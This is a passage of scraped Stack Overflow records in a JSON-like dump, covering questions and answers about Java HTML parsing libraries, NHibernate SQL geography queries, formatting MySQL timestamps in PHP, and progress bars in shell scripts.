rootNode.getElementsByName(\"div\", true);\n for (int i = 0; divElements != null &amp;&amp; i &lt; divElements.length; i++)\n {\n String classType = divElements[i].getAttributeByName(\"class\");\n if (classType != null &amp;&amp; classType.equals(CSSClassname))\n {\n divList.add(divElements[i]);\n }\n }\n\n return divList;\n }\n\n public static void main(String[] args)\n {\n try\n {\n TestHtmlParse thp = new TestHtmlParse(new URL(url));\n\n List divs = thp.getDivsByClass(className);\n System.out.println(\"*** Text of DIVs with class '\"+className+\"' at '\"+url+\"' ***\");\n for (Iterator iterator = divs.iterator(); iterator.hasNext();)\n {\n TagNode divElement = (TagNode) iterator.next();\n System.out.println(\"Text child nodes of DIV: \" + divElement.getText().toString());\n }\n }\n catch(Exception e)\n {\n e.printStackTrace();\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 238172, "author": "user31586", "author_id": 31586, "author_profile": "https://Stackoverflow.com/users/31586", "pm_score": 5, "selected": true, "text": "<p>Several years ago I used JTidy for the same purpose:</p>\n\n<p><a href=\"http://jtidy.sourceforge.net/\" rel=\"noreferrer\">http://jtidy.sourceforge.net/</a></p>\n\n<p>\"JTidy is a Java port of HTML Tidy, a HTML syntax checker and pretty printer. Like its non-Java cousin, JTidy can be used as a tool for cleaning up malformed and faulty HTML. In addition, JTidy provides a DOM interface to the document that is being processed, which effectively makes you able to use JTidy as a DOM parser for real-world HTML.</p>\n\n<p>JTidy was written by Andy Quick, who later stepped down from the maintainer position. Now JTidy is maintained by a group of volunteers.</p>\n\n<p>More information on JTidy can be found on the JTidy SourceForge project page .\"</p>\n" }, { "answer_id": 238475, "author": "alex", "author_id": 26787, "author_profile": "https://Stackoverflow.com/users/26787", "pm_score": 2, "selected": false, "text": "<p>HTMLUnit might be of help. It does a lot more stuff too.</p>\n\n<p><a href=\"http://htmlunit.sourceforge.net/\" rel=\"nofollow noreferrer\">http://htmlunit.sourceforge.net/</a><a href=\"http://htmlunit.sourceforge.net/\" rel=\"nofollow noreferrer\">1</a></p>\n" }, { "answer_id": 4762478, "author": "FolksLord", "author_id": 555053, "author_profile": "https://Stackoverflow.com/users/555053", "pm_score": 3, "selected": false, "text": "<p>Jericho: <a href=\"http://jericho.htmlparser.net/docs/index.html\" rel=\"noreferrer\">http://jericho.htmlparser.net/docs/index.html</a></p>\n\n<p>Easy to use, supports not well formed HTML, a lot of examples.</p>\n" }, { "answer_id": 6042593, "author": "rajsite", "author_id": 338923, "author_profile": "https://Stackoverflow.com/users/338923", "pm_score": 6, "selected": false, "text": "<p>Another library that might be useful for HTML processing is jsoup.\nJsoup tries to clean malformed HTML and allows html parsing in Java using jQuery like tag selector syntax.</p>\n\n<p><a href=\"http://jsoup.org/\">http://jsoup.org/</a> </p>\n" }, { "answer_id": 7115646, "author": "Mike Samuel", "author_id": 20394, "author_profile": "https://Stackoverflow.com/users/20394", "pm_score": 2, "selected": false, "text": "<p>The <a href=\"http://about.validator.nu/htmlparser/\" rel=\"nofollow\"><code>nu.validator</code></a> project is an excellent, high performance HTML parser that doesn't cut corners correctness-wise.</p>\n\n<blockquote>\n <p>The Validator.nu HTML Parser is an implementation of the HTML5 parsing algorithm in Java. The parser is designed to work as a drop-in replacement for the XML parser in applications that already support XHTML 1.x content with an XML parser and use SAX, DOM or XOM to interface with the parser. Low-level functionality is provided for applications that wish to perform their own IO and support document.write() with scripting. The parser core compiles on Google Web Toolkit and can be automatically translated into C++. (The C++ translation capability is currently used for porting the parser for use in Gecko.)</p>\n</blockquote>\n" }, { "answer_id": 7650651, "author": "Vincent Massol", "author_id": 153102, "author_profile": "https://Stackoverflow.com/users/153102", "pm_score": 1, "selected": false, "text": "<p>You can also use <a href=\"http://extensions.xwiki.org/xwiki/bin/view/Extension/XML+Module\" rel=\"nofollow\">XWiki HTML Cleaner</a>:</p>\n\n<p>It uses <a href=\"http://htmlcleaner.sourceforge.net\" rel=\"nofollow\">HTMLCleaner</a> and extends it to generate valid XHTML 1.1 content.</p>\n" }, { "answer_id": 8779677, "author": "igr", "author_id": 511837, "author_profile": "https://Stackoverflow.com/users/511837", "pm_score": 2, "selected": false, "text": "<p>Let's not forget <a href=\"http://jodd.org/doc/jerry/index.html\" rel=\"nofollow\">Jerry</a>, its jQuery in java: a fast and concise Java Library that simplifies HTML document parsing, traversing and manipulating; includes usage of css3 selectors.</p>\n\n<p>Example:</p>\n\n<pre><code>Jerry doc = jerry(html);\ndoc.$(\"div#jodd p.neat\").css(\"color\", \"red\").addClass(\"ohmy\");\n</code></pre>\n\n<p>Example:</p>\n\n<pre><code>doc.form(\"#myform\", new JerryFormHandler() {\n public void onForm(Jerry form, Map&lt;String, String[]&gt; parameters) {\n // process form and parameters\n }\n});\n</code></pre>\n\n<p>Of course, these are just some quick examples to get the feeling how it all looks like.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238036", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15075/" ]
I'm working on an app which scrapes data from a website and I was wondering how I should go about getting the data. Specifically I need data contained in a number of div tags which use a specific CSS class - Currently (for testing purposes) I'm just checking for ``` div class = "classname" ``` in each line of HTML - This works, but I can't help but feel there is a better solution out there. Is there any nice way where I could give a class a line of HTML and have some nice methods like: ``` boolean usesClass(String CSSClassname); String getText(); String getLink(); ```
Several years ago I used JTidy for the same purpose: <http://jtidy.sourceforge.net/> "JTidy is a Java port of HTML Tidy, a HTML syntax checker and pretty printer. Like its non-Java cousin, JTidy can be used as a tool for cleaning up malformed and faulty HTML. In addition, JTidy provides a DOM interface to the document that is being processed, which effectively makes you able to use JTidy as a DOM parser for real-world HTML. JTidy was written by Andy Quick, who later stepped down from the maintainer position. Now JTidy is maintained by a group of volunteers. More information on JTidy can be found on the JTidy SourceForge project page ."
238,050
<p>I am trying to issue a SQL update statement with nHibernate (2.0.1GA) like this:</p> <pre><code>sqlstring = string.Format("set nocount on;update myusers set geo=geography::Point({0}, {1}, 4326) where userid={2};", mlat, mlong, userid); _session.CreateSQLQuery(sqlstring).ExecuteUpdate(); </code></pre> <p>However I receive the following error: 'geography@p0' is not a recognized built-in function name.</p> <p>I thought CreateSQLQuery would just pass the SQL I gave it and execute it...guess not. Any ideas on how I can do that within the context of nHibernate?</p>
[ { "answer_id": 645209, "author": "tonyz", "author_id": 58780, "author_profile": "https://Stackoverflow.com/users/58780", "pm_score": 0, "selected": false, "text": "<p>\"{whatever} is not a recognized built-in function name\" is a SQL Server error message, not sure what Hibernate is doing there but SQL Server is the one complaining about it.</p>\n" }, { "answer_id": 650451, "author": "Chris Shaffer", "author_id": 6744, "author_profile": "https://Stackoverflow.com/users/6744", "pm_score": 3, "selected": true, "text": "<p>I'm pretty sure I can tell you what is happening, but I don't know if there is a fix for it.</p>\n\n<p>I think the problem is that the ':' character is used by NHibernate to create a named parameter. Your expression is getting changed to:</p>\n\n<pre><code>set nocount on;update myusers set geo=geography@p0({0}, {1}, 4326) where userid={2};\n</code></pre>\n\n<p>And @p0 is going to be a SQL variable. Unfortunately I can't find any documentation for escaping colons so they are not treated as a named parameter.</p>\n\n<p>If an escape character exists (my quick skim of the NHibernate source didn't find one; Named parameters are handled in NHibernate.Engine.Query.ParameterParser if you want to spend a little more time searching), then you could use that.</p>\n\n<p>Other solutions:</p>\n\n<ul>\n<li>Add an escape character to the source. You can then use a modified version of NHibernate. If you do this, you should submit your patch to the team so it can be included in the real thing and you don't have to maintain a modified version of the source (no fun).</li>\n<li>Create a user defined function in your DB that returns a geography::Point, then call your function instead of the standard SQL function. This seems like the quickest/easiest way to get up and running, but also feels a bit like a band-aid.</li>\n<li>See if there is something in <a href=\"http://nhforge.org/wikis/spatial/default.aspx\" rel=\"nofollow noreferrer\">NHibernate Spatial</a> that will let you programmatically add the geography::Point() [or edit the code for that project to add one and submit the patch to that team].</li>\n</ul>\n" }, { "answer_id": 15247716, "author": "mattk", "author_id": 353957, "author_profile": "https://Stackoverflow.com/users/353957", "pm_score": 0, "selected": false, "text": "<p>There is an implicit conversion from varchar to Point.</p>\n\n<p>Use NHibernate to set the geographic parameters to their string representation</p>\n\n<p>Define a SQL query template with named paramter <code>loc</code>:</p>\n\n<pre><code>const string Query = @\"SELECT {location.*}\nFROM {location}\nWHERE {location}.STDistance(:loc) is not null\nORDER BY {location}.STDistance(:loc)\";\n</code></pre>\n\n<p>Set the parameter to a string representation of <code>Point</code>:</p>\n\n<pre><code>return session\n .CreateSQLQuery(Query)\n .AddEntity(\"location\", typeof (Location))\n .SetString(\"loc\", \"Point (53.39006999999999 -3.0084007)\")\n .SetMaxResults(1)\n .UniqueResult&lt;Location&gt;();\n</code></pre>\n\n<p>This is for a Select. but I see no reason why it wouldn't work for an Insert or Update.</p>\n" }, { "answer_id": 29878949, "author": "Yosoyadri", "author_id": 1161893, "author_profile": "https://Stackoverflow.com/users/1161893", "pm_score": 0, "selected": false, "text": "<p>Following on @Chris's answer, here is a copy and paste solution:</p>\n\n<pre><code>CREATE FUNCTION GetPoint \n(\n @lat float,\n @lng float,\n @srid int\n)\nRETURNS geography\nAS\nBEGIN\n\ndeclare @point geography = geography::Point(@lat, @lng, @srid);\n\nRETURN @point\n\nEND\nGO\n</code></pre>\n\n<p>The you do </p>\n\n<pre><code>dbo.GetPoint(@Latitude, @Longitude, 4326)\n</code></pre>\n\n<p>instead of </p>\n\n<pre><code>geography::Point(@Latitude, @Longitude, 4326);\n</code></pre>\n\n<p>And NH is happy</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238050", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1975/" ]
I am trying to issue a SQL update statement with nHibernate (2.0.1GA) like this: ``` sqlstring = string.Format("set nocount on;update myusers set geo=geography::Point({0}, {1}, 4326) where userid={2};", mlat, mlong, userid); _session.CreateSQLQuery(sqlstring).ExecuteUpdate(); ``` However I receive the following error: 'geography@p0' is not a recognized built-in function name. I thought CreateSQLQuery would just pass the SQL I gave it and execute it...guess not. Any ideas on how I can do that within the context of nHibernate?
I'm pretty sure I can tell you what is happening, but I don't know if there is a fix for it. I think the problem is that the ':' character is used by NHibernate to create a named parameter. Your expression is getting changed to: ``` set nocount on;update myusers set geo=geography@p0({0}, {1}, 4326) where userid={2}; ``` And @p0 is going to be a SQL variable. Unfortunately I can't find any documentation for escaping colons so they are not treated as a named parameter. If an escape character exists (my quick skim of the NHibernate source didn't find one; Named parameters are handled in NHibernate.Engine.Query.ParameterParser if you want to spend a little more time searching), then you could use that. Other solutions: * Add an escape character to the source. You can then use a modified version of NHibernate. If you do this, you should submit your patch to the team so it can be included in the real thing and you don't have to maintain a modified version of the source (no fun). * Create a user defined function in your DB that returns a geography::Point, then call your function instead of the standard SQL function. This seems like the quickest/easiest way to get up and running, but also feels a bit like a band-aid. * See if there is something in [NHibernate Spatial](http://nhforge.org/wikis/spatial/default.aspx) that will let you programmatically add the geography::Point() [or edit the code for that project to add one and submit the patch to that team].
238,071
<p>What is the simplest, fastest way to complete the PHP code below such that the output is in a user-friendly format (for example, "October 27, 2006")?</p> <pre><code>$result = mysql_query("SELECT my_timestamp FROM some_table WHERE id=42", $DB_CONN); $row = mysql_fetch_array($result); $formatted_date = ???($row['my_timestamp']); echo $formatted_date; </code></pre>
[ { "answer_id": 238074, "author": "Richard Harrison", "author_id": 19624, "author_profile": "https://Stackoverflow.com/users/19624", "pm_score": 0, "selected": false, "text": "<p>I use: </p>\n\n<p>date(\"F j, Y\", strtotime($row['my_timestamp']))</p>\n\n<p>or you can change the SELECT to: DATE_FORMAT(field,'%d %M, %Y') as datetime</p>\n" }, { "answer_id": 238077, "author": "Aron Rotteveel", "author_id": 11568, "author_profile": "https://Stackoverflow.com/users/11568", "pm_score": 6, "selected": true, "text": "<p>You could use MySQL to do this for you,</p>\n\n<pre><code>$result = mysql_query(\"SELECT DATE_FORMAT(my_timestamp, '%M %d, %Y) AS my_timestamp FROM some_table WHERE id=42\", $DB_CONN);\n$row = mysql_fetch_array($result);\n$formatted_date = $row['my_timestamp'];\necho $formatted_date;\n</code></pre>\n\n<p>Or use PHP,</p>\n\n<pre><code>$result = mysql_query(\"SELECT my_timestamp FROM some_table WHERE id=42\", $DB_CONN);\n$row = mysql_fetch_array($result);\n$formatted_date = strftime('%B %d, %y', $row['my_timestamp']);\necho $formatted_date;\n</code></pre>\n" }, { "answer_id": 238078, "author": "Greg", "author_id": 24181, "author_profile": "https://Stackoverflow.com/users/24181", "pm_score": 2, "selected": false, "text": "<p>You want the <a href=\"http://www.php.net/date\" rel=\"nofollow noreferrer\">date()</a> function.</p>\n\n<p>If you've got a DATE or DATETIME column, you can use SELECT UNIX_TIMESTAMP(mycolumn) AS mycolumn to convert it to a unix timestamp for the date function to use.</p>\n" }, { "answer_id": 238108, "author": "acrosman", "author_id": 24215, "author_profile": "https://Stackoverflow.com/users/24215", "pm_score": 0, "selected": false, "text": "<p>You have a choice. You can use the <a href=\"http://us2.php.net/date\" rel=\"nofollow noreferrer\">date()</a> function in PHP and process the output from MySQL, or you can use the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_date-format\" rel=\"nofollow noreferrer\">date_format()</a> function in MySQL and have it return a formatted string to begin with.</p>\n\n<p>In my experience is that it doesn't really matter which you use, but BE CONSISTENT. They have different formatting parameters, so if you use both in a given application you'll spend a lot of time trying to remember if 'W' gives you the name of the day of the week or the week of the year.</p>\n" }, { "answer_id": 238171, "author": "enobrev", "author_id": 14651, "author_profile": "https://Stackoverflow.com/users/14651", "pm_score": 3, "selected": false, "text": "<p>I tend to do the date formatting in SQL, like <a href=\"https://stackoverflow.com/users/11568/aron\">Aron</a>'s <a href=\"https://stackoverflow.com/questions/238071/what-is-the-simplest-way-to-format-a-timestamp-from-sql-in-php#238077\">answer</a>. Although for PHP dates, I prefer using the <a href=\"http://www.php.net/manual/en/function.date-create.php\" rel=\"nofollow noreferrer\">DateTime</a> object (PHP5+) over <a href=\"http://www.php.net/manual/en/function.date.php\" rel=\"nofollow noreferrer\">date</a>:</p>\n\n<pre><code>$timestamp = new DateTime($row['my_timestamp']);\necho $timestamp-&gt;format('F j, Y') . '&lt;br /&gt;';\necho $timestamp-&gt;format('F j, Y g:ia');\n</code></pre>\n" }, { "answer_id": 238195, "author": "Bertrand Gorge", "author_id": 30955, "author_profile": "https://Stackoverflow.com/users/30955", "pm_score": 2, "selected": false, "text": "<p>You should definitely use the DateTime class (or any home grew equivalent class), over de Date function, and not use timestamps:</p>\n\n<ul>\n<li>Timestamp don't work well in all environments for dates before 1970 - if you deal with birthdays, you're relying on code that may break on some servers</li>\n<li>Be also very carefull of the use of strftime, it looks like a nice function, but it is very unrelyable, as it depends on setlocale, which is process-wide. What this means is that if your server is a windows box, you have one process per processor, and then the rest is multi-threaded - in other words, one setlocale in one script will affect the other scripts on the same processor - very nasty !</li>\n</ul>\n\n<p>At the end of the day, don't rely on timestamps, unless you are in an english only environment, and deal with dates between 1970 and 2032 only...!</p>\n" }, { "answer_id": 239941, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>If you have your tables indexed on that date field and you use a mysql data format function in your call.. (ie .. SELECT DATE_FORMAT(my_timestamp, '%M %d, %Y) AS my_time ) it will destroy your indexing. Something to keep in mind. We have seen dramatic increases in speed in removing all functioning from our sql statements and letting php handle it all.\nFunctioning such as formatting dates and simple math </p>\n" }, { "answer_id": 239994, "author": "Andy Lester", "author_id": 8454, "author_profile": "https://Stackoverflow.com/users/8454", "pm_score": 0, "selected": false, "text": "<p>Have the database do the formatting for you. It is far less susceptible to error because you are not reading a string and converting it. Instead, the database is going from its native format to a string.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238071", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2659/" ]
What is the simplest, fastest way to complete the PHP code below such that the output is in a user-friendly format (for example, "October 27, 2006")? ``` $result = mysql_query("SELECT my_timestamp FROM some_table WHERE id=42", $DB_CONN); $row = mysql_fetch_array($result); $formatted_date = ???($row['my_timestamp']); echo $formatted_date; ```
You could use MySQL to do this for you, ``` $result = mysql_query("SELECT DATE_FORMAT(my_timestamp, '%M %d, %Y) AS my_timestamp FROM some_table WHERE id=42", $DB_CONN); $row = mysql_fetch_array($result); $formatted_date = $row['my_timestamp']; echo $formatted_date; ``` Or use PHP, ``` $result = mysql_query("SELECT my_timestamp FROM some_table WHERE id=42", $DB_CONN); $row = mysql_fetch_array($result); $formatted_date = strftime('%B %d, %y', $row['my_timestamp']); echo $formatted_date; ```
238,073
<p>When scripting in bash or any other shell in *NIX, while running a command that will take more than a few seconds, a progress bar is needed.</p> <p>For example, copying a big file, opening a big tar file.</p> <p>What ways do you recommend to add progress bars to shell scripts?</p>
[ { "answer_id": 238087, "author": "ConcernedOfTunbridgeWells", "author_id": 15401, "author_profile": "https://Stackoverflow.com/users/15401", "pm_score": 3, "selected": false, "text": "<p>Most unix commands will not give you the sort of direct feedback from which you can do this.\nSome will give you output on stdout or stderr that you can use.</p>\n\n<p>For something like tar you could use the -v switch and pipe the output to a program that updates a small animation for each line it reads. As tar writes out a list of files it's unravelled the program can update the animation. To do a percent complete you would have to know the number of files and count the lines.</p>\n\n<p>cp doesn't give this sort of output as far as I know. To monitor the progress of cp you would have to monitor the source and destination files and watch the size of the destination. You could write a small c program using the <a href=\"http://linux.die.net/man/2/stat\" rel=\"noreferrer\">stat (2)</a> system call to get the file size. This would read the size of the source then poll the destination file and update a % complete bar based on the size of the file written to date.</p>\n" }, { "answer_id": 238094, "author": "Mitch Haile", "author_id": 28807, "author_profile": "https://Stackoverflow.com/users/28807", "pm_score": 11, "selected": true, "text": "<p>You can implement this by overwriting a line. Use <code>\\r</code> to go back to the beginning of the line without writing <code>\\n</code> to the terminal.</p>\n\n<p>Write <code>\\n</code> when you're done to advance the line.</p>\n\n<p>Use <code>echo -ne</code> to:</p>\n\n<ol>\n<li>not print <code>\\n</code> and</li>\n<li>to recognize escape sequences like <code>\\r</code>.</li>\n</ol>\n\n<p>Here's a demo:</p>\n\n<pre><code>echo -ne '##### (33%)\\r'\nsleep 1\necho -ne '############# (66%)\\r'\nsleep 1\necho -ne '####################### (100%)\\r'\necho -ne '\\n'\n</code></pre>\n\n<p>In a comment below, puk mentions this \"fails\" if you start with a long line and then want to write a short line: In this case, you'll need to overwrite the length of the long line (e.g., with spaces).</p>\n" }, { "answer_id": 238140, "author": "Diomidis Spinellis", "author_id": 20520, "author_profile": "https://Stackoverflow.com/users/20520", "pm_score": 6, "selected": false, "text": "<p>Some posts have showed how to display the command's progress. In order to calculate it, you'll need to see how much you've progressed. On BSD systems some commands, such as dd(1), accept a <code>SIGINFO</code> signal, and will report their progress. On Linux systems some commands will respond similarly to <code>SIGUSR1</code>. If this facility is available, you can pipe your input through <code>dd</code> to monitor the number of bytes processed.</p>\n<p>Alternatively, you can use <a href=\"http://en.wikipedia.org/wiki/Lsof\" rel=\"nofollow noreferrer\"><code>lsof</code></a> to obtain the offset of the file's read pointer, and thereby calculate the progress. I've written a command, named <a href=\"https://github.com/dspinellis/pmonitor\" rel=\"nofollow noreferrer\">pmonitor</a>, that displays the progress of processing a specified process or file. With it you can do things, such as the following.</p>\n<pre class=\"lang-bash prettyprint-override\"><code>$ pmonitor -c gzip\n/home/dds/data/mysql-2015-04-01.sql.gz 58.06%\n</code></pre>\n<p>An earlier version of Linux and FreeBSD shell scripts appears on <a href=\"http://www.spinellis.gr/blog/20081027\" rel=\"nofollow noreferrer\">my blog</a> (&quot;Monitor Process Progress on Unix&quot;).</p>\n" }, { "answer_id": 3330813, "author": "leebert", "author_id": 401730, "author_profile": "https://Stackoverflow.com/users/401730", "pm_score": 4, "selected": false, "text": "<p>A simpler method that works on my system using the pipeview ( pv ) utility.</p>\n\n<pre><code>srcdir=$1\noutfile=$2\n\n\ntar -Ocf - $srcdir | pv -i 1 -w 50 -berps `du -bs $srcdir | awk '{print $1}'` | 7za a -si $outfile\n</code></pre>\n" }, { "answer_id": 3330834, "author": "Daenyth", "author_id": 350351, "author_profile": "https://Stackoverflow.com/users/350351", "pm_score": 7, "selected": false, "text": "<p>You may also be interested in <a href=\"http://mywiki.wooledge.org/BashFAQ/034\" rel=\"noreferrer\">how to do a spinner</a>:</p>\n\n<h2>Can I do a spinner in Bash?</h2>\n\n<blockquote>\n <p>Sure!</p>\n\n<pre><code>i=1\nsp=\"/-\\|\"\necho -n ' '\nwhile true\ndo\n printf \"\\b${sp:i++%${#sp}:1}\"\ndone\n</code></pre>\n \n <p>Each time the loop iterates, it displays the next character in the sp\n string, wrapping around as it reaches the end. (i is the position of\n the current character to display and ${#sp} is the length of the sp\n string).</p>\n \n <p>The \\b string is replaced by a 'backspace' character. Alternatively,\n you could play with \\r to go back to the beginning of the line.</p>\n \n <p>If you want it to slow down, put a sleep command inside the loop\n (after the printf).</p>\n \n <p>A POSIX equivalent would be:</p>\n\n<pre><code>sp='/-\\|'\nprintf ' '\nwhile true; do\n printf '\\b%.1s' \"$sp\"\n sp=${sp#?}${sp%???}\ndone\n</code></pre>\n \n <p>If you already have a loop which does a lot of work, you can call the\n following function at the beginning of each iteration to update the\n spinner:</p>\n\n<pre><code>sp=\"/-\\|\"\nsc=0\nspin() {\n printf \"\\b${sp:sc++:1}\"\n ((sc==${#sp})) &amp;&amp; sc=0\n}\nendspin() {\n printf \"\\r%s\\n\" \"$@\"\n}\n\nuntil work_done; do\n spin\n some_work ...\ndone\nendspin\n</code></pre>\n</blockquote>\n" }, { "answer_id": 3388588, "author": "Wojtek", "author_id": 348793, "author_profile": "https://Stackoverflow.com/users/348793", "pm_score": 4, "selected": false, "text": "<p><a href=\"http://www.gnu.org/software/automake/manual/tar/checkpoints.html#SEC47\" rel=\"noreferrer\">GNU tar</a> has a useful option which gives a functionality of a simple progress bar.</p>\n\n<p>(...) Another available checkpoint action is ‘dot’ (or ‘.’). It instructs tar to print a single dot on the standard listing stream, e.g.:</p>\n\n<pre><code>$ tar -c --checkpoint=1000 --checkpoint-action=dot /var\n...\n</code></pre>\n\n<p>The same effect may be obtained by:</p>\n\n<pre><code>$ tar -c --checkpoint=.1000 /var\n</code></pre>\n" }, { "answer_id": 3554912, "author": "Noah Spurrier", "author_id": 319432, "author_profile": "https://Stackoverflow.com/users/319432", "pm_score": 2, "selected": false, "text": "<p>My solution displays the percentage of the tarball that\nis currently being uncompressed and written. I use this\nwhen writing out 2GB root filesystem images. You really\nneed a progress bar for these things. What I do is use\n<code>gzip --list</code> to get the total uncompressed size of the\ntarball. From that I calculate the blocking-factor needed\nto divide the file into 100 parts. Finally, I print a\ncheckpoint message for each block. For a 2GB file this\ngives about 10MB a block. If that is too big then you can\ndivide the BLOCKING_FACTOR by 10 or 100, but then it's\nharder to print pretty output in terms of a percentage.</p>\n\n<p>Assuming you are using Bash then you can use the\nfollowing shell function</p>\n\n<pre><code>untar_progress () \n{ \n TARBALL=$1\n BLOCKING_FACTOR=$(gzip --list ${TARBALL} |\n perl -MPOSIX -ane '$.==2 &amp;&amp; print ceil $F[1]/50688')\n tar --blocking-factor=${BLOCKING_FACTOR} --checkpoint=1 \\\n --checkpoint-action='ttyout=Wrote %u% \\r' -zxf ${TARBALL}\n}\n</code></pre>\n" }, { "answer_id": 6863190, "author": "Seth Wegner", "author_id": 868024, "author_profile": "https://Stackoverflow.com/users/868024", "pm_score": 6, "selected": false, "text": "<p>Use the Linux command <a href=\"https://man7.org/linux/man-pages/man1/pv.1.html\" rel=\"noreferrer\"><code>pv</code></a>.</p>\n<p>It doesn't know the size if it's in the middle of the pipeline, but it gives a speed and total, and from there you can figure out how long it should take and get feedback so you know it hasn't hung.</p>\n" }, { "answer_id": 10814641, "author": "DeathFromAbove", "author_id": 1425808, "author_profile": "https://Stackoverflow.com/users/1425808", "pm_score": -1, "selected": false, "text": "<p>To make a tar progress bar</p>\n\n<pre><code>tar xzvf pippo.tgz |xargs -L 19 |xargs -I@ echo -n \".\"\n</code></pre>\n\n<p>Where \"19\" is the number of files in the tar divided the length of the intended progress bar.\nExample: the .tgz contains 140 files and you'll want a progress bar of 76 \".\", you can put -L 2.</p>\n\n<p>You'll need nothing else.</p>\n" }, { "answer_id": 16337150, "author": "akiuni", "author_id": 2342951, "author_profile": "https://Stackoverflow.com/users/2342951", "pm_score": -1, "selected": false, "text": "<p>I had the same thing to do today and based on Diomidis answer, here is how I did it (linux debian 6.0.7).\nMaybe, that could help you :</p>\n\n<pre><code>#!/bin/bash\n\necho \"getting script inode\"\ninode=`ls -i ./script.sh | cut -d\" \" -f1`\necho $inode\n\necho \"getting the script size\"\nsize=`cat script.sh | wc -c`\necho $size\n\necho \"executing script\"\n./script.sh &amp;\npid=$!\necho \"child pid = $pid\"\n\nwhile true; do\n let offset=`lsof -o0 -o -p $pid | grep $inode | awk -F\" \" '{print $7}' | cut -d\"t\" -f 2`\n let percent=100*$offset/$size\n echo -ne \" $percent %\\r\"\ndone\n</code></pre>\n" }, { "answer_id": 16348366, "author": "romeror", "author_id": 2344918, "author_profile": "https://Stackoverflow.com/users/2344918", "pm_score": 4, "selected": false, "text": "<p>This lets you visualize that a command is still executing:</p>\n\n<pre><code>while :;do echo -n .;sleep 1;done &amp;\ntrap \"kill $!\" EXIT #Die with parent if we die prematurely\ntar zxf packages.tar.gz; # or any other command here\nkill $! &amp;&amp; trap \" \" EXIT #Kill the loop and unset the trap or else the pid might get reassigned and we might end up killing a completely different process\n</code></pre>\n\n<p>This will create an <strong>infinite while loop</strong> that executes in the background and echoes a \".\" every second. This will display <code>.</code> in the shell. Run the <code>tar</code> command or any a command you want. When that command finishes executing then <strong>kill</strong> the last job running in the background - which is the <strong>infinite while loop</strong>.</p>\n" }, { "answer_id": 19726222, "author": "janr", "author_id": 1171193, "author_profile": "https://Stackoverflow.com/users/1171193", "pm_score": -1, "selected": false, "text": "<p>Once I also had a busy script which was occupied for hours without showing any progress. So I implemented a function which mainly includes the techniques of the previous answers:</p>\n\n<pre><code>#!/bin/bash\n# Updates the progress bar\n# Parameters: 1. Percentage value\nupdate_progress_bar()\n{\n if [ $# -eq 1 ];\n then\n if [[ $1 == [0-9]* ]];\n then\n if [ $1 -ge 0 ];\n then\n if [ $1 -le 100 ];\n then\n local val=$1\n local max=100\n\n echo -n \"[\"\n\n for j in $(seq $max);\n do\n if [ $j -lt $val ];\n then\n echo -n \"=\"\n else\n if [ $j -eq $max ];\n then\n echo -n \"]\"\n else\n echo -n \".\"\n fi\n fi\n done\n\n echo -ne \" \"$val\"%\\r\"\n\n if [ $val -eq $max ];\n then\n echo \"\"\n fi\n fi\n fi\n fi\n fi\n}\n\nupdate_progress_bar 0\n# Further (time intensive) actions and progress bar updates\nupdate_progress_bar 100\n</code></pre>\n" }, { "answer_id": 22454218, "author": "tPSU", "author_id": 3428793, "author_profile": "https://Stackoverflow.com/users/3428793", "pm_score": 2, "selected": false, "text": "<p>This is only applicable using gnome zenity. Zenity provides a great native interface to bash scripts:\n<strong><a href=\"https://help.gnome.org/users/zenity/stable/\" rel=\"nofollow\">https://help.gnome.org/users/zenity/stable/</a></strong></p>\n\n<p>From Zenity Progress Bar Example:</p>\n\n<pre><code>#!/bin/sh\n(\necho \"10\" ; sleep 1\necho \"# Updating mail logs\" ; sleep 1\necho \"20\" ; sleep 1\necho \"# Resetting cron jobs\" ; sleep 1\necho \"50\" ; sleep 1\necho \"This line will just be ignored\" ; sleep 1\necho \"75\" ; sleep 1\necho \"# Rebooting system\" ; sleep 1\necho \"100\" ; sleep 1\n) |\nzenity --progress \\\n --title=\"Update System Logs\" \\\n --text=\"Scanning mail logs...\" \\\n --percentage=0\n\nif [ \"$?\" = -1 ] ; then\n zenity --error \\\n --text=\"Update canceled.\"\nfi\n</code></pre>\n" }, { "answer_id": 24818227, "author": "thedk", "author_id": 442474, "author_profile": "https://Stackoverflow.com/users/442474", "pm_score": 2, "selected": false, "text": "<p>First of all bar is not the only one pipe progress meter. The other (maybe even more known) is pv (pipe viewer). </p>\n\n<p>Secondly bar and pv can be used for example like this:</p>\n\n<pre><code>$ bar file1 | wc -l \n$ pv file1 | wc -l\n</code></pre>\n\n<p>or even:</p>\n\n<pre><code>$ tail -n 100 file1 | bar | wc -l\n$ tail -n 100 file1 | pv | wc -l\n</code></pre>\n\n<p>one useful trick if you want to make use of bar and pv in commands that are working with files given in arguments, like e.g. copy file1 file2, is to use <a href=\"http://tldp.org/LDP/abs/html/process-sub.html\" rel=\"nofollow\">process substitution</a>:</p>\n\n<pre><code>$ copy &lt;(bar file1) file2\n$ copy &lt;(pv file1) file2\n</code></pre>\n\n<p>Process substitution is a bash magic thing that creates temporary fifo pipe files /dev/fd/ and connect stdout from runned process (inside parenthesis) through this pipe and copy sees it just like an ordinary file (with one exception, it can only read it forwards).</p>\n\n<p>Update:</p>\n\n<p>bar command itself allows also for copying. After man bar:</p>\n\n<pre><code>bar --in-file /dev/rmt/1cbn --out-file \\\n tape-restore.tar --size 2.4g --buffer-size 64k\n</code></pre>\n\n<p>But process substitution is in my opinion more generic way to do it. An it uses cp program itself.</p>\n" }, { "answer_id": 26290342, "author": "synthesizerpatel", "author_id": 210613, "author_profile": "https://Stackoverflow.com/users/210613", "pm_score": 0, "selected": false, "text": "<p>I did a pure shell version for an embedded system taking advantage of:</p>\n\n<ul>\n<li><p>/usr/bin/dd's SIGUSR1 signal handling feature.</p>\n\n<p>Basically, if you send a 'kill SIGUSR1 $(pid_of_running_dd_process)', it'll output\na summary of throughput speed and amount transferred. </p></li>\n<li><p>backgrounding dd and then querying it regularly for updates, and generating\nhash ticks like old-school ftp clients used to.</p></li>\n<li><p>Using /dev/stdout as the destination for non-stdout friendly programs like scp</p></li>\n</ul>\n\n<p>The end result allows you to take any 